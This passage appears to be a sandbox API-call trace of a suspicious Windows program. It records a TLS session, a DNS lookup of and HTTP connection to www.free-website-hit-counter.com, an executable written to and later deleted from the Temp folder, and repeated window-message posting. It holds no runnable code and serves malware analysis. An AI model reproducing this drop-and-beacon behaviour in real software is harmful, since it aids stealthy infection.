Destination=0x1e7ac980) [0125.840] CoTaskMemFree (pv=0x1e7ac980) [0125.840] lstrlenW (lpString="Digest Authentication for Windows") returned 33 [0125.840] CoTaskMemAlloc (cb=0x46) returned 0x1e7b8500 [0125.840] RtlMoveMemory (in: Destination=0x1e7b8500, Source=0x1afdb980, Length=0x44 | out: Destination=0x1e7b8500) [0125.840] CoTaskMemFree (pv=0x1e7b8500) [0125.840] lstrlenW (lpString="TSSSP") returned 5 [0125.840] CoTaskMemAlloc (cb=0xe) returned 0x1e7ac980 [0125.840] RtlMoveMemory (in: Destination=0x1e7ac980, Source=0x1afdb9c4, Length=0xc | out: Destination=0x1e7ac980) [0125.840] CoTaskMemFree (pv=0x1e7ac980) [0125.840] lstrlenW (lpString="TS Service Security Package") returned 27 [0125.840] CoTaskMemAlloc (cb=0x3a) returned 0x1e7b8500 [0125.840] RtlMoveMemory (in: Destination=0x1e7b8500, Source=0x1afdb9d0, Length=0x38 | out: Destination=0x1e7b8500) [0125.840] CoTaskMemFree (pv=0x1e7b8500) [0125.841] lstrlenW (lpString="pku2u") returned 5 [0125.841] CoTaskMemAlloc (cb=0xe) returned 0x1e7ac980 [0125.841] RtlMoveMemory (in: Destination=0x1e7ac980, Source=0x1afdba08, Length=0xc | out: Destination=0x1e7ac980) [0125.841] CoTaskMemFree (pv=0x1e7ac980) [0125.841] lstrlenW (lpString="PKU2U Security Package") returned 22 [0125.841] CoTaskMemAlloc (cb=0x30) returned 0x1e7b3da0 [0125.841] RtlMoveMemory (in: Destination=0x1e7b3da0, Source=0x1afdba14, Length=0x2e | out: Destination=0x1e7b3da0) [0125.841] CoTaskMemFree (pv=0x1e7b3da0) [0125.841] lstrlenW (lpString="CREDSSP") returned 7 [0125.841] CoTaskMemAlloc (cb=0x12) returned 0x1e7ac980 [0125.841] RtlMoveMemory (in: Destination=0x1e7ac980, Source=0x1afdba42, Length=0x10 | out: Destination=0x1e7ac980) [0125.841] CoTaskMemFree (pv=0x1e7ac980) [0125.841] lstrlenW (lpString="Microsoft CredSSP Security Provider") returned 35 [0125.841] CoTaskMemAlloc (cb=0x4a) returned 0x1affc500 [0125.841] RtlMoveMemory (in: Destination=0x1affc500, Source=0x1afdba52, Length=0x48 | out: Destination=0x1affc500) [0125.842] CoTaskMemFree (pv=0x1affc500) [0125.842] FreeContextBuffer (in: pvContextBuffer=0x1afdb640 | out: pvContextBuffer=0x1afdb640) returned 0x0 [0125.851] GetCurrentProcess () returned 0xffffffffffffffff [0125.851] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b62e1e8 | out: TokenHandle=0x1b62e1e8*=0x50c) returned 1 [0125.901] AcquireCredentialsHandleW (in: pPrincipal=0x0, pPackage=0x2784a48, fCredentialUse=0x2, pvLogonId=0x0, pAuthData=0x1b62e0f8, pGetKeyFn=0x0, pvGetKeyArgument=0x0, phCredential=0x1b62e0e8, ptsExpiry=0x1b62e0e0 | out: phCredential=0x1b62e0e8, ptsExpiry=0x1b62e0e0) returned 0x0 [0125.921] InitializeSecurityContextW (in: phCredential=0x1b62e2f0, phContext=0x0, pTargetName=0x2780e90, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x0, Reserved2=0x0, phNewContext=0x1b62e2e0, pOutput=0x2787170, pfContextAttr=0x1b62e2d8, ptsExpiry=0x1b62e2d0 | out: phNewContext=0x1b62e2e0, pOutput=0x2787170, pfContextAttr=0x1b62e2d8, ptsExpiry=0x1b62e2d0) returned 0x90312 [0125.923] FreeContextBuffer (in: pvContextBuffer=0x4db2b0 | out: pvContextBuffer=0x4db2b0) returned 0x0 [0126.118] send (s=0x4f4, buf=0x2787240*, len=116, flags=0) returned 116 [0126.119] recv (in: s=0x4f4, buf=0x2787240, len=5, flags=0 | out: buf=0x2787240*) returned 5 [0126.144] recv (in: s=0x4f4, buf=0x2787245, len=91, flags=0 | out: buf=0x2787245*) returned 91 [0126.146] InitializeSecurityContextW (in: phCredential=0x1b62e210, phContext=0x1b62e4c0, pTargetName=0x2780e90, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x27887f8, Reserved2=0x0, phNewContext=0x1b62e200, pOutput=0x2788818, pfContextAttr=0x1b62e1f8, ptsExpiry=0x1b62e1f0 | out: phNewContext=0x1b62e200, pOutput=0x2788818, pfContextAttr=0x1b62e1f8, ptsExpiry=0x1b62e1f0) returned 0x90312 [0126.162] recv (in: s=0x4f4, buf=0x2788908, len=5, flags=0 | out: buf=0x2788908*) returned 5 [0126.162] recv (in: s=0x4f4, buf=0x278892d, len=2927, flags=0 | out: buf=0x278892d*) returned 2927 [0126.162] InitializeSecurityContextW (in: phCredential=0x1b62e140, phContext=0x1b62e3f0, pTargetName=0x2780e90, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x2789570, Reserved2=0x0, phNewContext=0x1b62e130, pOutput=0x2789590, pfContextAttr=0x1b62e128, ptsExpiry=0x1b62e120 | out: phNewContext=0x1b62e130, pOutput=0x2789590, pfContextAttr=0x1b62e128, ptsExpiry=0x1b62e120) returned 0x90312 [0126.164] recv (in: s=0x4f4, buf=0x2789680, len=5, flags=0 | out: buf=0x2789680*) returned 5 [0126.165] recv (in: s=0x4f4, buf=0x27896a5, len=331, flags=0 | out: buf=0x27896a5*) returned 331 [0126.165] InitializeSecurityContextW (in: phCredential=0x1b62e070, phContext=0x1b62e320, pTargetName=0x2780e90, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x27898c0, Reserved2=0x0, phNewContext=0x1b62e060, pOutput=0x27898e0, pfContextAttr=0x1b62e058, ptsExpiry=0x1b62e050 | out: phNewContext=0x1b62e060, pOutput=0x27898e0, pfContextAttr=0x1b62e058, ptsExpiry=0x1b62e050) returned 0x90312 [0126.165] recv (in: s=0x4f4, buf=0x27899d0, len=5, flags=0 | out: buf=0x27899d0*) returned 5 [0126.165] recv (in: s=0x4f4, buf=0x27899f5, len=4, flags=0 | out: buf=0x27899f5*) returned 4 [0126.165] InitializeSecurityContextW (in: phCredential=0x1b62dfa0, phContext=0x1b62e250, pTargetName=0x2780e90, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x2789ad0, Reserved2=0x0, phNewContext=0x1b62df90, pOutput=0x2789af0, pfContextAttr=0x1b62df88, ptsExpiry=0x1b62df80 | out: phNewContext=0x1b62df90, pOutput=0x2789af0, pfContextAttr=0x1b62df88, ptsExpiry=0x1b62df80) returned 0x90312 [0126.252] FreeContextBuffer (in: pvContextBuffer=0x1b00f980 | out: pvContextBuffer=0x1b00f980) returned 0x0 [0126.253] send (s=0x4f4, buf=0x278a4f8*, len=134, flags=0) returned 134 [0126.253] recv (in: s=0x4f4, buf=0x278a4f8, len=5, flags=0 | out: buf=0x278a4f8*) returned 5 [0126.266] recv (in: s=0x4f4, buf=0x278a4fd, len=1, flags=0 | out: buf=0x278a4fd*) returned 1 [0126.267] InitializeSecurityContextW (in: phCredential=0x1b62ded0, phContext=0x1b62e180, pTargetName=0x2780e90, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x278a670, Reserved2=0x0, phNewContext=0x1b62dec0, pOutput=0x278a690, pfContextAttr=0x1b62deb8, ptsExpiry=0x1b62deb0 | out: phNewContext=0x1b62dec0, pOutput=0x278a690, pfContextAttr=0x1b62deb8, ptsExpiry=0x1b62deb0) returned 0x90312 [0126.268] recv (in: s=0x4f4, buf=0x278a780, len=5, flags=0 | out: buf=0x278a780*) returned 5 [0126.268] recv (in: s=0x4f4, buf=0x278a7a5, len=48, flags=0 | out: buf=0x278a7a5*) returned 48 [0126.269] InitializeSecurityContextW (in: phCredential=0x1b62de00, phContext=0x1b62e0b0, pTargetName=0x2780e90, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x278a8a8, Reserved2=0x0, phNewContext=0x1b62ddf0, pOutput=0x278a8c8, pfContextAttr=0x1b62dde8, ptsExpiry=0x1b62dde0 | out: phNewContext=0x1b62ddf0, pOutput=0x278a8c8, pfContextAttr=0x1b62dde8, ptsExpiry=0x1b62dde0) returned 0x0 [0126.295] QueryContextAttributesW (in: phContext=0x1b62e060, ulAttribute=0x4, pBuffer=0x278aa40 | out: pBuffer=0x278aa40) returned 0x0 [0126.296] QueryContextAttributesW (in: phContext=0x1b62e060, ulAttribute=0x5a, pBuffer=0x278aac0 | out: pBuffer=0x278aac0) returned 0x0 [0126.316] QueryContextAttributesW (in: phContext=0x1b62df10, ulAttribute=0x53, pBuffer=0x278ae10 | out: pBuffer=0x278ae10) returned 0x0 [0126.330] CertDuplicateCRLContext (pCrlContext=0x1b023400) returned 0x1b023400 [0126.335] CertDuplicateStore (hCertStore=0x1af91920) returned 0x1af91920 [0126.336] CertEnumCertificatesInStore (hCertStore=0x1af91920, pPrevCertContext=0x0) returned 0x1b023480 [0126.337] CertDuplicateCRLContext (pCrlContext=0x1b023480) returned 0x1b023480 [0126.337] CertEnumCertificatesInStore (hCertStore=0x1af91920, pPrevCertContext=0x1b023480) returned 0x1b023400 [0126.337] CertDuplicateCRLContext (pCrlContext=0x1b023400) returned 0x1b023400 [0126.338] CertEnumCertificatesInStore (hCertStore=0x1af91920, pPrevCertContext=0x1b023400) returned 0x0 [0126.338] CertCloseStore (hCertStore=0x1af91920, dwFlags=0x0) returned 1 [0126.338] CertFreeCRLContext (pCrlContext=0x1b023400) returned 1 [0126.350] CertOpenStore (lpszStoreProvider=0x2, dwEncodingType=0x10001, hCryptProv=0x0, dwFlags=0x2204, pvPara=0x0) returned 0x1af919f0 [0126.356] CertAddCRLLinkToStore (in: hCertStore=0x1af919f0, pCrlContext=0x1b023480, dwAddDisposition=0x4, ppStoreContext=0x0 | out: ppStoreContext=0x0) returned 1 [0126.356] CertAddCRLLinkToStore (in: hCertStore=0x1af919f0, pCrlContext=0x1b023400, dwAddDisposition=0x4, ppStoreContext=0x0 | out: ppStoreContext=0x0) returned 1 [0126.362] CertGetCertificateChain (in: hChainEngine=0x0, pCertContext=0x1b023400, pTime=0x1b62df18, hAdditionalStore=0x1af919f0, pChainPara=0x1b62df20, dwFlags=0x0, pvReserved=0x0, ppChainContext=0x1b62df10 | out: ppChainContext=0x1b62df10) returned 1 [0128.464] CertDuplicateCertificateChain (pChainContext=0x1e988320) returned 0x1e988320 [0128.467] CertDuplicateCRLContext (pCrlContext=0x1b023400) returned 0x1b023400 [0128.468] CertDuplicateCRLContext (pCrlContext=0x1e979480) returned 0x1e979480 [0128.468] CertDuplicateCRLContext (pCrlContext=0x1e979500) returned 0x1e979500 [0128.469] CertFreeCertificateChain (pChainContext=0x1e988320) [0128.471] CertVerifyCertificateChainPolicy (in: pszPolicyOID=0x1, pChainContext=0x1e988320, pPolicyPara=0x1b62e098, pPolicyStatus=0x1b62e078 | out: pPolicyStatus=0x1b62e078) returned 1 [0128.472] SetLastError (dwErrCode=0x0) [0128.548] CertVerifyCertificateChainPolicy (in: pszPolicyOID=0x4, pChainContext=0x1e988320, pPolicyPara=0x1b62e170, pPolicyStatus=0x1b62e158 | out: pPolicyStatus=0x1b62e158) returned 1 [0128.552] CertFreeCertificateChain (pChainContext=0x1e988320) [0128.553] CertFreeCRLContext (pCrlContext=0x1b023400) returned 1 [0128.559] EncryptMessage (in: phContext=0x1b62e720, fQOP=0x0, pMessage=0x2792900, MessageSeqNo=0x0 | out: pMessage=0x2792900) returned 0x0 [0128.560] send (s=0x4f4, buf=0x2792568*, len=341, flags=0) returned 341 [0128.561] setsockopt (s=0x4f4, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0128.561] recv (in: s=0x4f4, buf=0x2792a20, len=5, flags=0 | out: buf=0x2792a20*) returned 5 [0128.749] recv (in: s=0x4f4, buf=0x279337d, len=496, flags=0 | out: buf=0x279337d*) returned 496 [0128.751] DecryptMessage (in: phContext=0x1b62e2e0, pMessage=0x2793680, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x2793680, pfQOP=0x0) returned 0x0 [0128.766] setsockopt (s=0x4f4, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0128.770] recv (in: s=0x4f4, buf=0x2793378, len=5, flags=0 | out: buf=0x2793378*) returned 5 [0128.770] recv (in: s=0x4f4, buf=0x279337d, len=32, flags=0 | out: buf=0x279337d*) returned 32 [0128.770] DecryptMessage (in: phContext=0x1b62e7c0, pMessage=0x27b4ae8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x27b4ae8, pfQOP=0x0) returned 0x0 [0128.810] SetEvent (hEvent=0x3d0) returned 1 [0128.810] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x704 [0128.811] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x708 [0128.811] CoTaskMemAlloc (cb=0x22) returned 0x1e928e20 [0128.811] getaddrinfo (in: pNodeName="www.free-website-hit-counter.com", pServiceName=0x0, pHints=0x1b62e890*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1b62e888 | out: ppResult=0x1b62e888*=0x1e935c90*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="free-website-hit-counter.com", ai_addr=0x1e92fa40*(sa_family=2, sin_port=0x0, sin_addr="158.176.65.249"), ai_next=0x0)) returned 0 [0128.929] CoTaskMemFree (pv=0x1e928e20) [0128.929] CoTaskMemFree (pv=0x0) [0128.929] FreeAddrInfoW (pAddrInfo=0x1e935c90*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="牦敥眭扥楳整栭瑩挭畯瑮牥挮浯", ai_addr=0x1e92fa40*(sa_family=2, sin_port=0x0, sin_addr="158.176.65.249"), ai_next=0x0)) [0128.930] WSAConnect (in: s=0x704, name=0x27b93a8*(sa_family=2, sin_port=0x50, sin_addr="158.176.65.249"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0128.963] closesocket (s=0x708) returned 0 [0128.963] send (s=0x704, buf=0x27b9810*, len=139, flags=0) returned 139 [0128.964] setsockopt (s=0x704, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0128.964] recv (in: s=0x704, buf=0x27b6868, len=4096, flags=0 | out: buf=0x27b6868*) returned 692 [0129.047] setsockopt (s=0x704, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0129.049] recv (in: s=0x704, buf=0x27bb528, len=1, flags=0 | out: buf=0x27bb528*) returned 1 [0129.049] recv (in: s=0x704, buf=0x27bb528, len=1, flags=0 | out: buf=0x27bb528*) returned 1 [0129.049] recv (in: s=0x704, buf=0x27bb528, len=1, flags=0 | out: buf=0x27bb528*) returned 1 [0129.049] recv (in: s=0x704, buf=0x27bb528, len=1, flags=0 | out: buf=0x27bb528*) returned 1 [0129.049] recv (in: s=0x704, buf=0x27bb528, len=1, flags=0 | out: buf=0x27bb528*) returned 1 [0129.049] recv (in: s=0x704, buf=0x27cb728, len=1020, flags=0 | out: buf=0x27cb728*) returned 1020 [0129.049] recv (in: s=0x704, buf=0x27bb528, len=2, flags=0 | out: buf=0x27bb528*) returned 2 [0129.050] recv (in: s=0x704, buf=0x27bb528, len=1, flags=0 | out: buf=0x27bb528*) returned 1 [0129.050] recv (in: s=0x704, buf=0x27bb528, len=1, flags=0 | out: buf=0x27bb528*) returned 1 [0129.050] recv (in: s=0x704, buf=0x27bb528, len=1, flags=0 | out: buf=0x27bb528*) returned 1 [0129.050] recv (in: s=0x704, buf=0x27bb528, len=1, flags=0 | out: buf=0x27bb528*) returned 1 [0129.050] recv (in: s=0x704, buf=0x27cb728, len=203, flags=0 | out: buf=0x27cb728*) returned 203 [0129.050] recv (in: s=0x704, buf=0x27bb528, len=2, flags=0 | out: buf=0x27bb528*) returned 2 [0129.050] recv (in: s=0x704, buf=0x27bb528, len=1, flags=0 | out: buf=0x27bb528*) returned 1 [0129.050] recv (in: s=0x704, buf=0x27bb528, len=1, flags=0 | out: buf=0x27bb528*) returned 1 [0129.050] recv (in: s=0x704, buf=0x27bb528, len=1, flags=0 | out: buf=0x27bb528*) returned 1 [0129.050] recv (in: s=0x704, buf=0x27bb528, len=2, flags=0 | out: buf=0x27bb528*) returned 2 [0129.051] CoUninitialize () Thread: id = 6 os_tid = 0xef4 [0108.711] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0108.984] CoTaskMemAlloc (cb=0x20c) returned 0x4f4de0 [0108.984] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x4f4de0 | out: lpBuffer="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\") returned 0x25 [0108.984] CoTaskMemFree (pv=0x4f4de0) [0108.985] GetLongPathNameW (in: lpszShortPath="C:\\Users\\KEECFM~1\\", lpszLongPath=0x1c30edf0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\") returned 0x13 [0108.986] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x1c30ee70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x26 [0109.130] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp_aSDqwd2.exe", nBufferLength=0x105, lpBuffer=0x1c30eb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp_aSDqwd2.exe", lpFilePart=0x0) returned 0x35 [0109.130] SetErrorMode (uMode=0x1) returned 0x0 [0109.132] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp_aSDqwd2.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\tmp_asdqwd2.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x220 [0109.136] GetFileType (hFile=0x220) returned 0x1 [0109.136] SetErrorMode (uMode=0x0) returned 0x1 [0109.136] GetFileType (hFile=0x220) returned 0x1 [0109.140] WriteFile (in: hFile=0x220, lpBuffer=0x126f1d70*, nNumberOfBytesToWrite=0x28200, lpNumberOfBytesWritten=0x1c30f128, lpOverlapped=0x0 | out: lpBuffer=0x126f1d70*, lpNumberOfBytesWritten=0x1c30f128*=0x28200, lpOverlapped=0x0) returned 1 [0109.145] CloseHandle (hObject=0x220) returned 1 [0109.795] LocalAlloc (uFlags=0x0, uBytes=0x6c) returned 0x1af40ab0 [0109.797] RtlMoveMemory (in: Destination=0x1af40ab0, Source=0x26f6f38, Length=0x6c | out: Destination=0x1af40ab0) [0116.116] LocalFree (hMem=0x1af40ab0) returned 0x0 [0117.045] GetCurrentProcess () returned 0xffffffffffffffff [0117.046] GetCurrentProcess () returned 0xffffffffffffffff [0117.051] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x3d8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1c30f178, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1c30f178*=0x3cc) returned 1 [0177.436] CloseHandle (hObject=0x3cc) returned 1 [0177.967] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp_aSDqwd2.exe", nBufferLength=0x105, lpBuffer=0x1c30ee10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp_aSDqwd2.exe", lpFilePart=0x0) returned 0x35 [0177.969] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp_aSDqwd2.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\tmp_asdqwd2.exe")) returned 1 [0178.101] PostThreadMessageW (idThread=0xec0, Msg=0x12, wParam=0x0, lParam=0x0) returned 1 [0178.188] CoUninitialize () Thread: id = 7 os_tid = 0xef8 [0109.055] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0109.192] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0109.192] GetCurrentThreadId () returned 0xef8 [0109.192] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0109.192] GetCurrentThreadId () returned 0xef8 [0109.192] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0109.335] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0109.336] GetCurrentThreadId () returned 0xef8 [0109.336] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0109.336] GetCurrentThreadId () returned 0xef8 [0109.336] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0109.532] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0109.532] GetCurrentThreadId () returned 0xef8 [0109.532] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0109.532] GetCurrentThreadId () returned 0xef8 [0109.532] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0109.699] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0109.699] GetCurrentThreadId () returned 0xef8 [0109.699] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0109.699] GetCurrentThreadId () returned 0xef8 [0109.699] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0109.842] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0109.842] GetCurrentThreadId () returned 0xef8 [0109.842] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0109.843] GetCurrentThreadId () returned 0xef8 [0109.843] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0111.372] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0111.372] GetCurrentThreadId () returned 0xef8 [0111.373] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0111.373] GetCurrentThreadId () returned 0xef8 [0111.373] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0112.326] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0112.326] GetCurrentThreadId () returned 0xef8 [0112.326] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0112.326] GetCurrentThreadId () returned 0xef8 [0112.326] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0113.660] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0113.660] GetCurrentThreadId () returned 0xef8 [0113.660] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0113.660] GetCurrentThreadId () returned 0xef8 [0113.660] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0115.943] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0115.943] GetCurrentThreadId () returned 0xef8 [0115.943] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0115.943] GetCurrentThreadId () returned 0xef8 [0115.943] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0116.131] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0116.131] GetCurrentThreadId () returned 0xef8 [0116.131] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0116.131] GetCurrentThreadId () returned 0xef8 [0116.131] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0116.333] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0116.333] GetCurrentThreadId () returned 0xef8 [0116.333] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0116.333] GetCurrentThreadId () returned 0xef8 [0116.333] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0116.551] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0116.551] GetCurrentThreadId () returned 0xef8 [0116.551] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0116.551] GetCurrentThreadId () returned 0xef8 [0116.551] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0116.757] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0116.758] GetCurrentThreadId () returned 0xef8 [0116.758] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0116.758] GetCurrentThreadId () returned 0xef8 [0116.758] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0116.943] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0116.945] GetCurrentThreadId () returned 0xef8 [0116.945] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0116.945] GetCurrentThreadId () returned 0xef8 [0116.945] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0117.176] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0117.176] GetCurrentThreadId () returned 0xef8 [0117.176] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0117.176] GetCurrentThreadId () returned 0xef8 [0117.176] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0117.382] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0117.382] GetCurrentThreadId () returned 0xef8 [0117.382] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0117.382] GetCurrentThreadId () returned 0xef8 [0117.382] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0117.585] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0117.585] GetCurrentThreadId () returned 0xef8 [0117.585] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0117.585] GetCurrentThreadId () returned 0xef8 [0117.585] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0117.757] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0117.757] GetCurrentThreadId () returned 0xef8 [0117.757] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: 